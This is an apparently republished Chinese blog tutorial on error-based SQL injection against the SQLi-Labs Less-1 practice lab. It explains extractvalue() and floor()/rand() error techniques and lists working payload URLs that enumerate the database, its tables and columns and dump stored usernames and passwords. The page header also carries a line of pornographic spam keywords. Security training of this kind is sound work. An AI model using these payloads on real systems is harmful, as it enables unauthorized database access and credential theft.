日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入——基于报错的注入(五)

發布時間:2023/12/18 数据库 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入——基于报错的注入(五) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本章目的

普及報錯功能函數extractvalue()的用法,演示基于報錯的SQL注入基本流程。
實驗環境
攻擊機:Pentest-Atk
(1)操作系統:Windows10
(2)安裝的應用軟件:Sqlmap、Burpsuite、FireFox瀏覽器及其插件Hackbar、等

(3)登錄賬號密碼:操作系統帳號Administrator,密碼789
靶機:A-SQLi-Labs
(1)操作系統:本機(建議用虛擬機)不過我太懶了[]~( ̄▽ ̄)~*
(2)安裝的應用軟件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、

webug3.0下載環境搭建
(3)登錄賬號密碼:操作系統帳號root,密碼258

實驗原理

(1)關于報錯注入

基于報錯的注入,是指通過構造特定的SQL語句,讓攻擊者想要查詢的信息(如數據庫名、版本號、用戶名等)通過頁面的錯誤提示回顯出來

報錯注入一般需要具備兩個前提條件:

(1)Web應用程序未關閉數據庫報錯函數,對于一些SQL語句的錯誤直接回顯在頁面上;

(2)后臺未對一些具有報錯功能的函數進行過濾常用的報錯功能函數包括 extractvalue()、 updatexml()、floor()、exp()等。

2)關于 extractvalue()函數

作用:對XML文檔進行查詢,相當于在HTML文件中用標簽查找元素

語法: extractvalue (XML document, XPath_string)

參數1: XML document是 String格式,為XML文檔對象的名稱;

參數2: XPath_string(Xpath格式的字符串),注入時可操作的地方。

報錯原理:xml文檔中查找字符位置是用/x/xx/xxx)...這種格式,如果寫入其他格式就會報錯,并且會返回寫入的非法格式內容,錯誤信息如: XPATH syntax

error: XXXXXXXX'。

(3)關于foor()函數

在進行報錯注入時,floor()函數一般需要與rand()、 count()、 group by聯用。

作用:

floor(x):對參數x向下取整

and():生成一個0~1之間的隨機浮點數

count(*):統計某個表下總共有多少條記錄

group by x:按照(by)一定的規則(x)進行分組;

報錯原理:foor()函數與 group by、rand()聯用時,如果臨時表中沒有該主鍵,則在插入前會再計算一次rand(),然后再由 group by將計算出來的主鍵直接插入到臨時表格中,導致主鍵重復報錯,錯誤信息如: Duplicate entry'...' for key'group_key'。

實驗步驟

本實驗的目標是:以SQLi-Labs網站的Less-1為入口,借助 extractvalue()函數,亦或是借助floor()函數、rand()、count()、group by聯用,利用基于報錯的注入方式獲取SQLi-Labs網站的登錄用戶名和密碼

1,訪問SQLi-Labs網站

在攻擊機 Pentest-Atk打開 FireFox瀏覽器,并訪問靶機 A-SQLI-Labs上的SQLi-Labs網站Less-1。訪問的URL為:

http://[靶機IP]/sqli-labs/Less-1/

(注意大小寫)

登錄后,根據網頁提示,先給定一個GET參數,即:

http://靶機IP/sq1i-1abs/Less-1/?id=1

此時頁面顯示id=1的用戶名Dump、密碼Dump。

說明:本實驗環境中FireFox瀏覽器已預安裝Hackbar插件,在FireFox界面 按下鍵盤上的F9鍵啟用或停用(本實驗環境中默認為啟用狀態)。建議在注入 過程中用Hackbar插件來調整payload參數。

?在此輸入框中設置 payload,設置完成后點擊 Execute按鈕執行

2.尋找注入點

分別使用以下3條 payload尋找注入點及判斷注入點的類型

http://.機IP/sqli-labs/Less-1/?id=1'

運行后報錯!

http://IP/sqli-1abs/less-1/?id=1' and '1'='1

運行后正常顯示!

http://IP/sqli-labs/Less-1/?id=1' and '1'='2

運行后未正常顯示!

由上述結果可以判斷,網站存在字符型注入點

3.獲取網站當前所在數據庫的庫名

使用以下 payload 獲取網站當前所在數據庫的庫名

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat('~',database())) --+

顯示結果為 security

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and(select 1 from(selectcount(*),concat(database(),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)--+

?顯示結果為security。注意:請忽略后面的1。

4.獲取數據庫 security的全部表名

使用以下 payload獲取數據庫 security的全部表名

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

?顯示結果中,有一個名為 users的表,這當中可能存放著網站用戶的基本信息

注意: extractvalue()函數所能顯示的錯誤信息最大長度為32,如果錯誤信息超過了最大長度,有可能導致顯示不全。因此,有時需要借助 limit來做分行顯示,上述 payload可以改為

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+

/顯示 security庫中的第1張表的名字

以此類推:

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+

/顯示 security庫中的第2張表的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))--+

/顯示 security庫中的第3張表的名字

.........................................................................................................................................................

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

?顯示 security庫中的第1張表的名字為 emails?

注意:請忽略最后顯示的1

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

顯示 security庫中的第2張表的名字為 referers

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

顯示 secunity庫中的第3張表的名字為 uagents

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

?顯示security庫中的第4張表的名字為users。?

5.獲取 users表的全部字段名

使用以下 payload獲取 users表的全部字段名

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )))--+

顯示結果, users表中有id、 username和 password三個字段

同上一個步驟相似,為了避免錯誤信息太長導致顯示不全,有時需要借助 limit來做分行顯示,上述 payload可以改為

//顯示 users表中的第1個字段的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)))--+

//顯示 users表中的第2個字段的名字

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)))--+

//顯示 users表中的第3個字段的名字

.........................................................................................................................................................

使用以下payload獲取users表的字段名:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' limit 0,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

?顯示users表中的第1個字段名字為id。

注意:請忽略最后顯示的1

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

?顯示users表中的第2個字段名字為username

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and (select 1 from(select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),floor(rand (0)*2))x from information_schema.tables group by x)a)--+

?顯示users表中的第2個字段名字為password。

綜合以上顯示結果,users表中有id、usemame和password三個字段。

6.獲取 users表id、 username和 password字段的全部值。

由于 users表中存放著多組用戶名和密碼的數據,而每次只能顯示一組數據,我們可以通過 limit m.n的方式逐條顯示,如

(1)顯示第1組數據

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 0,1)))--+

顯示結果為Dump,Dump

(2)顯示第2組數據

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 1,1)))--+

顯示結果為 Angelina,- kill-you

(3)顯示第3組數據

http://127.0.0.1/sqli-labs-master/Less-1//?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password)from security.users limit 2,1)))--+

顯示結果為Dummy,p@ssword。

以此類推,另一種方法 (忽略最后的1,結果相同)

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 0, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 1, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'and(select 1 from(select count(*),concat((select concat_ws(',',id,username,password)from security.users limit 2, 1), floor(rand (0)*2))x from information_schema.tables group by x)a)--+

以此類推,可通過修改limit后面的參數,將users表中存放的所有用戶信息全部暴露出來。
基于報錯的注入兩種方式實驗至此結束

SQL注入 ——sql數據庫操作基礎(一)

SOL注入——基于聯合查詢的數字型GET注入(二)

SQL注入——基于聯合查詢的字符型GET注入(三)

...

關注我即刻查看其他SQL注入

總結

以上是生活随笔為你收集整理的SQL注入——基于报错的注入(五)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。